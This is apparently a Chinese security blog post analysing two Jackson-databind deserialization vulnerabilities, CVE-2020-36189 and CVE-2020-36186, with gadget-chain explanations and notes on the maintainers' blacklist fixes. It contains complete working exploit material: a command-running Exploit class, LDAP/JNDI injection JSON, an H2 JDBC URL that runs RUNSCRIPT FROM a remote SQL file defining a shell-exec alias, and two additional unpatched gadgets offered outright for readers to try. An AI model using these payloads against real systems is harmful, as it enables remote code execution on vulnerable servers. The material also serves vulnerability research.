本篇文章将对CVE-2020-36189(Jackson-databind SSRF&RCE)漏洞和CVE-2020-36186(jackson-databind RCE)漏洞进行浅析,同时将在文末给出两则新的Gadget !!!
Jackson-databind < 2.9.10.7
org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。
pom.xml如下:
<dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.7</version> </dependency> <!-- https://mvnrepository.com/artifact/tomcat/naming-factory-dbcp --> <dependency> <groupId>tomcat</groupId> <artifactId>naming-factory-dbcp</artifactId> <version>5.5.23</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <!-- https://mvnrepository.com/artifact/javax.transaction/jta --> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> </dependencies>
这里使用LDAP的利用方式进行漏洞的利用演示,RMI的方式也是类似的,且RMI比LDAP要对JDK版本有很大的局限性~
LDAP利用方式:jdk版本:JDK 11.0.1、8u191、7u201、6u211之前,笔者这里采用JDK 1.8.0_181
Step 1:编译Exploit.java
Exploit.java代码如下:
import java.lang.Runtime; public class Exploit { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } }
编译Exploit.java文件:
Step 2:搭建HTTP服务
使用Python搭建简易SimpleHTTPServer服务:
python -m SimpleHTTPServer 4444
Step 3:搭建LDAP服务
使用marshalsec来启动一个LDAP服务:
Step 4:执行漏洞POC
Poc.java代码如下所示:
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; public class POC { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); String json = "[\"org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:1288/Exploit\"}]"; Object obj = mapper.readValue(json, Object.class); mapper.writeValueAsString(obj); } }
之后运行该程序,成功执行命令:
PerUserPoolDataSource类继承自InstanceKeyDataSource:
InstanceKeyDataSource类中存在一处JNDI注入:
testCPDS在PerUserPoolDataSource类的registerPool中被调用:
registerPool在getPooledConnectionAndInfo中被调用:
所以可以构造以下Gadget:
PerUserPoolDataSource ->InstanceKeyDataSource.setDataSourceName ->PerUserPoolDataSource.getPooledConnectionAndInfo ->PerUserPoolDataSource.registerPool ->PerUserPoolDataSource.testCPDS ->lookup
官方对于此漏洞的修复方案是将org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource加入黑名单中,但是这种修复方案只能一时间缓解,因为难免会出现其他黑名单绕过方案:
https://github.com/FasterXML/jackson-databind/commit/3e8fa3beea49ea62109df9e643c9cb678dabdde1
可以看到的是这里还有另一个类——"org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource",该类的利用方法与上述方法类似,不再赘述
Jackson-databind < 2.9.10.7
com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成SSRF&RCE。
pom.xml
<dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.7</version> </dependency> <!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent --> <dependency> <groupId>com.newrelic.agent.java</groupId> <artifactId>newrelic-agent</artifactId> <version>4.9.0</version> </dependency> <!-- https://mvnrepository.com/artifact/com.h2database/h2 --> <dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>1.4.199</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <!-- https://mvnrepository.com/artifact/javax.transaction/jta --> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> </dependencies>
Step 1:构造exec.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('calc.exe')
Step 2:简易web服务
python2 -m simpleHTTPServer 4444
Step 3:执行漏洞POC1(SSRF)
poc.java代码如下所示:
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; public class POC { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://6vrdsp.dnslog.cn/exec.sql'\"}]"; Object obj = mapper.readValue(json, Object.class); mapper.writeValueAsString(obj); } }
dnslog平台结果:
Step 4:执行漏洞POC2(RCE)
Poc.java代码如下所示:
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; public class POC { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:4444/exec.sql'\"}]"; Object obj = mapper.readValue(json, Object.class); mapper.writeValueAsString(obj); } }
之后运行该程序,成功执行命令
com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中提供了对url的set方法,可以通过反序列化进行赋值操作,同时在getConnection中通过DriverManager.getConnection()进行远程连接,参数url可控,从而可导致SSRF,当classpath中存在h2数据库时甚至可以导致RCE:
Gadget如下:
DriverManagerConnectionSource ->seturl ->getConnection ->DirverManager.getConnection(this.url)
官方将com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource加入黑名单中,但是这种修复方案只能一时间缓解,因为难免会出现其他黑名单绕过方案:
这里免费送出两个新的Gadget,有兴趣的可以试一下:
第一个:
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; public class POC2 { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); String json = "[\"shaded.com.github.susom.database.shaded.com.zaxxer.hikari.HikariDataSource\", {\"metricRegistry\": \"ldap://127.0.0.1:1288/Exploit\"}]"; mapper.readValue(json, Object.class); } }
第二个:
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; public class POC2 { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); String json = "[\"shaded.com.github.susom.database.shaded.com.zaxxer.hikari.HikariConfig\", {\"metricRegistry\": \"ldap://127.0.0.1:1288/Exploit\"}]"; mapper.readValue(json, Object.class); } }
2020年12月30号,Jackson-databind官方表明由于之前对于黑名单更新的补丁过于频繁而且有大量的绕过是的版本的更新迭代过于频繁,加上申请CVE的流程使得整个维护变得更加繁琐,所以决定从2020年12月31号发布最后一个2.9.10.8版本之后将不再对此黑名单进行维护(除非有极其严重的问题发生),同时也不再给相关白帽子申请相关CVE编号,但是会继续接受有关Jackson-databind的黑名单类相关安全报告,更多细节可以参考以下连接:
https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria
上文中的两则漏洞作为一个抛砖引玉的作用可以引出更多的gadget,有兴趣的朋友可以翻翻jackson-databind的issue页面,会发现更多的精彩内容,同时欢迎大家一起来讨论研究Jackson-databind 2.10.x版本之后的最新Gadget~
https://github.com/FasterXML/jackson-databind/issues/2997
https://github.com/FasterXML/jackson-databind/commit/3e8fa3beea49ea62109df9e643c9cb678dabdde1
https://github.com/FasterXML/jackson-databind/issues/2996
https://github.com/FasterXML/jackson-databind/commit/33d96c13fe18a2dad01b19ce195548c9acea9da4